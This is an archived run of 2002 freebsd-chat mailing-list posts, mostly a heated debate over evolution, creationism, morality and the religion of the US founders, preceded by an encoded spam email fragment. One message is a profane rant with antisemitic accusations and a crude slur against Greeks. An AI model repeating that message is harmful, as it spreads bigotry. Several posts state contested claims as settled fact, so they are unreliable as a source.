YWNlPSK1uL/yIj48Zm9udCBjb2xvcj0iI0VGRjBERCI+Xzxicj4NCiAgICAgICAgICAgICAg ICAgICAgPC9mb250PiZsdDvBpLq4xeu9xbjBwMy/68PLwfggudcgwaS6uLq4yKO/oSCw/MfR ILn9t/y/oSDAx7DFIMelvcMmZ3Q7PC9mb250PiA8L2Rpdj4NCiAgICAgICAgICAgICAgICAg IDxwPjxmb250IHNpemU9IjIiIGZhY2U9IrW4v/IiPiC6uyC43sDPwLogwaS6uMXrvcW4wSDA zL/rw8vB+CC51yDBpLq4urjIoyC17r+hILD8x9Eguf23/CANCiAgICAgICAgICAgICAgICAg ICAgwaY1MMG2v6EgwMewxcfRIFuxpCCw7V0guN7Az7fOIDHIuLy6ILjewM/A1LTPtNkuILHN x8/AxyDAzLjewM8gwaS6uCDAzL/cv6EgwPrI8bChILq4wK/Hz7DtIMDWtMIgDQogICAgICAg ICAgICAgICAgICAgIMGkuri0wiDAz8O8vvi9wLTPtNkuILCjyKQgvK259r/At/m3ziCwsMC6 ILjewM/AzCAyyLggwMy78yCwpSC89rW1IMDWvcC0z7TZLiC89r3FwLsgv/jEoSC+ysC4vcO0 wiC60MC6IA0KICAgICAgICAgICAgICAgICAgICC5+LDFt86/7L3DtPW287W1ILz2vcWwxbrO uKYgvLPBpMfPvcOwxbOqILz2vcWwxbrOuKYgv/jHz73DuOkgPGEgaHJlZj0ibWFpbHRvOm5v bWFpbEB0YWhlZWJvLmNvLmtyP3N1YmplY3Q9vPa9xbDFus4mYm9keT276MGmv+S4wSI+v6mx 4rimIA0KICAgICAgICAgICAgICAgICAgICDFrLivx8+/qSDB1r3KvcO/5C48L2E+ILi4vuAg utLHyr/kx9EgwaS6uL+0tNm46SC757D6teW4s7TPtNkuIDwvZm9udD4gDQogICAgICAgICAg ICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgIDwvdGFibGU+ DQogICAgICAgICAgPC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgIDwvdGFibGU+DQogICAg PC90ZD4NCiAgPC90cj4NCjwvdGFibGU+DQo8bWFwIG5hbWU9Ik1hcCI+DQogIDxhcmVhIHNo YXBlPSJyZWN0IiBjb29yZHM9IjIsMiw2MDQsMzUiIGhyZWY9Imh0dHA6Ly9kb2N0b3Iub3Iu a3IvIiB0YXJnZXQ9Il9ibGFuayI+DQo8L21hcD4NCjwvYm9keT4NCjwvaHRtbD4NCiAgICA= ------=_NextPart_000_00B4_2B22E2AF.8DF47012-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sat Sep 7 0: 3:28 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7C25137B400 for ; Sat, 7 Sep 2002 00:03:26 -0700 (PDT) Received: from albatross.prod.itd.earthlink.net (albatross.mail.pas.earthlink.net [207.217.120.120]) by mx1.FreeBSD.org (Postfix) with ESMTP id 150FF43E4A for ; Sat, 7 Sep 2002 00:03:26 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0057.cvx40-bradley.dialup.earthlink.net ([216.244.42.57] helo=mindspring.com) by albatross.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 17nZcb-0001IF-00; Sat, 07 Sep 2002 00:03:09 -0700 Message-ID: <3D79A471.FA17DAF6@mindspring.com> Date: Sat, 07 Sep 2002 00:02:09 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Neal E. Westfall" Cc: Joshua Lee , dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <20020906153844.K44494-100000@Tolstoy.home.lan> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org "Neal E. Westfall" wrote: > Who is second-guessing the scientific method? I happen to think it works > quite well, when allowed to truly work. Problem with evolution is that, > almost 150 years later, it is no more closer to being empirically verified > than it was in 1859. So lets drop it and get on with something else > already. The scientific method never verifies, it only falsifies, so asking that something be empirically verified, whether it be the old theory of evolution, the current theory of puctuated equilibria, or that gravity is related to the curvature of space, is asking for the impossible. Science can only demonstrate the invalidity of ideas, not their validity. > Actually you have that exactly backwards. It is my brand of protestantism > that made the constitution possible. 8-) ??? FWIW: Most of "the founding fathers" were Deists. Protestants were a monority for a very long time. > And you are making assumptions again. I do not expect Christianity to > be taught in public schools. I just don't want evolution dogmatically > taught as "the truth" when there are other explanations that better > account for the data. Is that too much to ask for? Science never teaches anything as "the truth"; although teachers who don't understand science might do that, it's a corruption of the process for them to do so. What science teaches is *theory*, stories which explain empirical observations. The stories science tells are just that -- stories. Science is an art critic, if it is anything, in that it prefers simple stories to complex ones. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sat Sep 7 0: 8:44 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1162037B401 for ; Sat, 7 Sep 2002 00:08:41 -0700 (PDT) Received: from albatross.prod.itd.earthlink.net (albatross.mail.pas.earthlink.net [207.217.120.120]) by mx1.FreeBSD.org (Postfix) with ESMTP id AC22343E65 for ; Sat, 7 Sep 2002 00:08:40 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0057.cvx40-bradley.dialup.earthlink.net ([216.244.42.57] helo=mindspring.com) by albatross.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 17nZhr-0004d3-00; Sat, 07 Sep 2002 00:08:36 -0700 Message-ID: <3D79A5B8.C6176B8E@mindspring.com> Date: Sat, 07 Sep 2002 00:07:36 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Giorgos Keramidas Cc: "Neal E. Westfall" , chat@FreeBSD.org Subject: Re: Why did evolution fail? References: <20020906155919.A6312@FreeBSD.org> <20020906092136.L94577-100000@Tolstoy.home.lan> <20020907001514.GA15779@hades.hell.gr> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Giorgos Keramidas wrote: > On 2002-09-06 10:02 +0000, Neal E. Westfall wrote: > > The reason not all of the laws written in Leviticus are any longer > > applicable is that they had a theological purpose. > > That's so convenient, isn't it? IMO, they had practical purpose. You can always trace taboos back to community experiential knowledge. I rather think the pork taboo was rooted in disease avoidance, since there are a lot of diseases that cross species boundaries with pork, if it is not prepared properly. Lacking sufficient foundation to discover what "properly" was, the taboo was established (there are alternate theories; that oneis merely the simplest). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sat Sep 7 0:13:31 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5066037B405; Sat, 7 Sep 2002 00:13:26 -0700 (PDT) Received: from albatross.prod.itd.earthlink.net (albatross.mail.pas.earthlink.net [207.217.120.120]) by mx1.FreeBSD.org (Postfix) with ESMTP id 44BAC43E75; Sat, 7 Sep 2002 00:13:26 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0057.cvx40-bradley.dialup.earthlink.net ([216.244.42.57] helo=mindspring.com) by albatross.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 17nZmX-0007cF-00; Sat, 07 Sep 2002 00:13:25 -0700 Message-ID: <3D79A6D9.776EED2B@mindspring.com> Date: Sat, 07 Sep 2002 00:12:25 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Neal E. Westfall" Cc: Juli Mallett , Joshua Lee , dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <20020906160208.R44625-100000@Tolstoy.home.lan> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org "Neal E. Westfall" wrote: > The difficulty is that it implies an absurdity. We don't live the rest > of our lives that way, so why should we assume absurdities when it comes > to ultimate truth? You are a coder, no? A contributer to FreeBSD? When > you code, do you not have to follow certain conventions, like programming > syntax, in order to produce anything fruitful? You don't create the rules > of syntax as you go, right? It doesn't work that way. You have to follow > the rules that somebody else has established. Life is like that. We have > to follow the rules that God has established, or we end up paying the > penalty by having to endure all sorts of undesirable consequences. It > doesn't mean we aren't free, of course. God built into the system a great > deal of leeway for creativity, which is why we have artists, computer > programmers, architects, and a whole plethora of other professions in > which man, as God's image bearer, can think God's thoughts after Him and > emulate His creativity. style(9) -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sat Sep 7 0:19:36 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 692A537B400 for ; Sat, 7 Sep 2002 00:19:35 -0700 (PDT) Received: from harrier.mail.pas.earthlink.net (harrier.mail.pas.earthlink.net [207.217.120.12]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0AEBD43E72 for ; Sat, 7 Sep 2002 00:19:35 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0057.cvx40-bradley.dialup.earthlink.net ([216.244.42.57] helo=mindspring.com) by harrier.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17nZrz-0000zn-00; Sat, 07 Sep 2002 00:19:03 -0700 Message-ID: <3D79A82B.A67E8686@mindspring.com> Date: Sat, 07 Sep 2002 00:18:03 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Neal E. Westfall" Cc: Giorgos Keramidas , Joshua Lee , dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <20020906183100.N44831-100000@Tolstoy.home.lan> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org "Neal E. Westfall" wrote: > On Sat, 7 Sep 2002, Giorgos Keramidas wrote: > > On 2002-09-06 12:43 +0000, Neal E. Westfall wrote: > > > Please name one thing that the theory of evolution has contributed to > > > the prolonging of human life. > > > > An understanding of the characteristics of mutation in virii, and the > > ability to create new vaccines for the new breeds that develop exactly > > as evolutionary theories predict. > > An understanding of the characteristics of mutation in virrii, and > the development of new vaccines are not at all dependent on the > theory of evolution. Mutations != evolution. It is predictive of the mutuations. Among other things, this allows us to use statistics and predictive models to decide which flu to manufacture vaciones for, and which flu to ignore. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sat Sep 7 8: 2:49 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C019F37B400 for ; Sat, 7 Sep 2002 08:02:45 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 12B2F43E3B for ; Sat, 7 Sep 2002 08:02:45 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g87F2eGd047767; Sat, 7 Sep 2002 08:02:40 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g87F2bdh047764; Sat, 7 Sep 2002 08:02:40 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Sat, 7 Sep 2002 08:02:37 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Giorgos Keramidas Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? In-Reply-To: <20020907012751.GA16913@hades.hell.gr> Message-ID: <20020906231918.U44831-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Sat, 7 Sep 2002, Giorgos Keramidas wrote: > > So let me get this straight. You think you are so self-righteous > > that you think you are not in need of an objective standard of right > > and wrong, and that you just naturally do what is right (right according > > to who?) in any given situation? > > No, I am not self-righteous. I do try, not to do things to others > that I wouldn't want them to do to me. This is the only thing that > one needs to aim to do, when questions like right and wrong pop up. > This is the only thing that is needed for an infinite amount of people > to be able to live together without having to look up to supernatural > beings and entities, in order to be kind to each other. Yeah, right, and "All we are saying, is give peace a chance..." Tell me then, on your polyanna view of human nature, why it is that people *don't* do that? I don't know what part of the world you are from (Greenland?) but here in southern California recently a five year old little girl was kidnapped, raped, and murdered. Some hang-gliders found her body in a field in a rather provocative position. Thankfully, they caught the person who did it. I want to know how you would explain to this man why he ought not do such wicked acts. What do you say to a man who sees no problem with raping and murdering a five year old girl? "Don't do that because you wouldn't want somebody to do that to you"? What do you do when he then laughs at you and spits at you in the face? > To return to the original question, making another human a slave is > not something that I would like another human doing to me. This is > then, by my own standards, as you called them, wrong. And by a person who finds no problem with it, by *his* own standards, okey-dokey. What do you say to that person? > > > How can you even define "respect" and "value others" without > > appealing to some objective standard that gives such lofty goals > > meaning? > > One person can not define or know an `objective standard' alone. The > standard becomes manifest when many persons try to understand what is > best for all of them and each individual separately. What you are talking about is not "objective". What you are talking about is "consensus". If that's the sort of ethics you endorse, when a society comes to a consensus that eliminating a certain minority ethnic group's genes from the gene pool would benefit society, you are on no philosophical grounds for opposing it. All you can say is, "well, the majority has spoken, I guess by definition it is right." > > Without objective standards, you have no right to expect such > > respect from anyone. Fyodor Dostoevsky wrote, "If there is no God, > > all is permissable." Please refute. > > I am not sure that there is a need for a god or other supernatural > entity for humans to socialise and treat each other well. If they do > try hard to avoid intentionally hurting each other, and strive both as > individuals and as a team to catter for the needs both of their > individuals selfs and the team as a whole, is there really a need for > something like this? So what do you say when people to the people who fly 757's into skyscrapers? Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sat Sep 7 8: 8:42 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1C4AB37B400 for ; Sat, 7 Sep 2002 08:08:41 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id A029F43E4A for ; Sat, 7 Sep 2002 08:08:40 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g87F7MGd047777; Sat, 7 Sep 2002 08:07:22 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g87F7MYI047774; Sat, 7 Sep 2002 08:07:22 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Sat, 7 Sep 2002 08:07:22 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Giorgos Keramidas Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? In-Reply-To: <20020907014049.GD16913@hades.hell.gr> Message-ID: <20020907080308.B44831-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Sat, 7 Sep 2002, Giorgos Keramidas wrote: > > An understanding of the characteristics of mutation in virrii, and > > the development of new vaccines are not at all dependent on the > > theory of evolution. Mutations != evolution. > > On the very contrary. Evolution can only go forth through mutation. > Please do read Darwin's ``Origin of the Species'' again. You have not established that mutations drive evolution. That's the *theory*. Producing variations of the same thing is not evolution, it's just differentiation within a species. And virii are not a complex enough organism to establish anything like macro-evolution. Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sat Sep 7 8:11:30 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C101A37B400 for ; Sat, 7 Sep 2002 08:11:28 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 48EC343E7B for ; Sat, 7 Sep 2002 08:11:28 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g87FA9Gd047786; Sat, 7 Sep 2002 08:10:10 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g87FA9Fv047783; Sat, 7 Sep 2002 08:10:09 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Sat, 7 Sep 2002 08:10:09 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Giorgos Keramidas Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? In-Reply-To: <20020907013917.GC16913@hades.hell.gr> Message-ID: <20020907080744.E44831-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Sat, 7 Sep 2002, Giorgos Keramidas wrote: > In message: <20020906181354.C44831-100000@Tolstoy.home.lan> > "Neal E. Westfall" wrote: > > > > Correction. Logic and ethics are meaningless without objective > > standards, and objective standards are impossible without appealing > > to something, well, *objective*. "Objective" means that it comes to > > you from the outside, externally, i.e. "not subjective". So > > immediately the opinions of men are eliminated. What is left? > > The team. The sum of a dozen people, is more than a dozen people. > A team can define what is objective, without a need for anything > supernatural. So what if one of the members of your team decides he doesn't want to play ball? And by the way, that is not "objective". You can't vote on "objective" truth. If it is objective, it is what it is regardless of the majority opinion. You are talking about collective subjectivism. Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sat Sep 7 8:16: 6 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8228737B400 for ; Sat, 7 Sep 2002 08:16:03 -0700 (PDT) Received: from mx0.servervault.com (mx0.servervault.com [216.12.128.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1163643E6A for ; Sat, 7 Sep 2002 08:15:53 -0700 (PDT) (envelope-from brett@freeindeed.com) Received: from mail01.excedent.us (mail01.excedent.us [216.12.134.208]) by mx0.servervault.com (Postfix) with ESMTP id 377E31E781 for ; Sat, 7 Sep 2002 15:15:47 +0000 (GMT) Received: from webmail01.excedent.us [216.12.134.212] by mail01.excedent.us with ESMTP (SMTPD32-7.10) id A82128950134; Sat, 07 Sep 2002 11:15:45 -0400 Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: binary X-Mailer: Excedent WebMail X-Originating-Ip: 12.153.68.131 Message-Id: <1031411708.webmail@freeindeed.com> X-Webmail-User: brett@freeindeed.com To: chat@freebsd.org MIME-Version: 1.0 X-Http_host: mail.freeindeed.com From: brett@freeindeed.com Subject: Religion and other things Date: Sat, 07 Sep 2002 11:15:08 EDT Reply-To: brett@freeindeed.com X-Note: Sent from brett@freeindeed.com - webmail01.excedent.us ([216.12.134.212]). X-Note: Report abuse to abuse@excedent.com X-Note: None (0) Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org This religion bullshit has been going on for some days now, so it's time to get this straight. THERE IS NO GOD, ok? God doesn't exist. Religion is BULLSHIT. Jews? Gimme a fucking break! Jews kill innocent palestinian children every day, yet they're the chosen people? Hypocrites. There's no damned God, no Satan, no live after death. Come on, do you really think that God could exist and not respect the laws of physics he created? Ridiculous. In other news, Greece has banned games: http://news.com.com/2100-1040-956357.html?tag=fd_top. Yes, the inventors of anal sex have banned playing games. Silly people. Brett Glass to the rescue! * * * * * * * * * * * * "Get your FREE TRIAL of the most effective pornographic and illegal content blocker ever!" -- http://SafetyNET.FreeIndeed.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sat Sep 7 8:24:43 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3464B37B400 for ; Sat, 7 Sep 2002 08:24:40 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 746BB43E6A for ; Sat, 7 Sep 2002 08:24:39 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g87FOcGd047844; Sat, 7 Sep 2002 08:24:39 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g87FOck0047841; Sat, 7 Sep 2002 08:24:38 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Sat, 7 Sep 2002 08:24:38 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Terry Lambert Cc: Joshua Lee , , Subject: Re: Why did evolution fail? In-Reply-To: <3D79A471.FA17DAF6@mindspring.com> Message-ID: <20020907081044.U44831-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Sat, 7 Sep 2002, Terry Lambert wrote: > "Neal E. Westfall" wrote: > > Who is second-guessing the scientific method? I happen to think it works > > quite well, when allowed to truly work. Problem with evolution is that, > > almost 150 years later, it is no more closer to being empirically verified > > than it was in 1859. So lets drop it and get on with something else > > already. > > The scientific method never verifies, it only falsifies, so asking > that something be empirically verified, whether it be the old theory > of evolution, the current theory of puctuated equilibria, or that > gravity is related to the curvature of space, is asking for the > impossible. Science can only demonstrate the invalidity of ideas, > not their validity. Okay, then lets stop pretending that creation is "unscientific" while evolution is "scientific". Neither one of them can be falsified, so either *both* of them are scientific, or neither of them are. You can't have your cake and eat it too. If you claim an explanation must also be "naturalistic", I charge you with providing a justification for such arbitrariness. > > Actually you have that exactly backwards. It is my brand of protestantism > > that made the constitution possible. 8-) > > ??? > > FWIW: Most of "the founding fathers" were Deists. Protestants > were a monority for a very long time. False. Of the 55 writers and signers of the Constitution, 29 were anglicans, 16-18 were calvinists, 2 were methodists, 2 were lutherans, 2 were roman catholic, 1 was a quaker, and there was only 1 open Deist (Ben Franklin) who himself attended practically every kind of Christian worship. The constitution was based on the model of state constitutions, which were in turn based on the presbyterian form of church government. Try again. > > And you are making assumptions again. I do not expect Christianity to > > be taught in public schools. I just don't want evolution dogmatically > > taught as "the truth" when there are other explanations that better > > account for the data. Is that too much to ask for? > > Science never teaches anything as "the truth"; although teachers > who don't understand science might do that, it's a corruption of > the process for them to do so. What science teaches is *theory*, > stories which explain empirical observations. The stories science > tells are just that -- stories. Science is an art critic, if it > is anything, in that it prefers simple stories to complex ones. I don't know if you realize it or not, but here in California if you try to teach a theory of origins other than evolution, you *will* be fired. So what happended to all the "open-minded" attitudes and academic freedom? Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sat Sep 7 8:32:32 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D9EC637B400 for ; Sat, 7 Sep 2002 08:32:29 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 599E243E65 for ; Sat, 7 Sep 2002 08:32:29 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g87FVAGd047861; Sat, 7 Sep 2002 08:31:10 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g87FVAtN047858; Sat, 7 Sep 2002 08:31:10 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Sat, 7 Sep 2002 08:31:10 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Terry Lambert Cc: Giorgos Keramidas , Subject: Re: Why did evolution fail? In-Reply-To: <3D79A5B8.C6176B8E@mindspring.com> Message-ID: <20020907082509.M44831-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Sat, 7 Sep 2002, Terry Lambert wrote: > Giorgos Keramidas wrote: > > On 2002-09-06 10:02 +0000, Neal E. Westfall wrote: > > > The reason not all of the laws written in Leviticus are any longer > > > applicable is that they had a theological purpose. > > > > That's so convenient, isn't it? > > IMO, they had practical purpose. You can always trace taboos > back to community experiential knowledge. I rather think the > pork taboo was rooted in disease avoidance, since there are a > lot of diseases that cross species boundaries with pork, if it > is not prepared properly. Lacking sufficient foundation to > discover what "properly" was, the taboo was established (there > are alternate theories; that oneis merely the simplest). Here's mine: The people of Israel were set aside by God as His chosen people. As such they were to be distinguished from the gentiles through ceremonial practices, one of which included not eating pork. When the Messiah came, God expanded His promises to the whole world, there was no longer to be any distinction between jew and gentile, for all are one in Christ, thus to retain the ceremonial laws would be to not admit that Christ now joined the two peoples together in reconciliation with God. What do you think? 8-) Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Sat Sep 7 8:36: 3 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3743837B400; Sat, 7 Sep 2002 08:36:01 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id A20B143E4A; Sat, 7 Sep 2002 08:36:00 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g87Fa0Gd047894; Sat, 7 Sep 2002 08:36:00 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g87FZxJV047891; Sat, 7 Sep 2002 08:35:59 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Sat, 7 Sep 2002 08:35:59 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Terry Lambert Cc: Juli Mallett , Joshua Lee , , Subject: Re: Why did evolution fail? In-Reply-To: <3D79A6D9.776EED2B@mindspring.com> Message-ID: <20020907083213.Y44831-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) 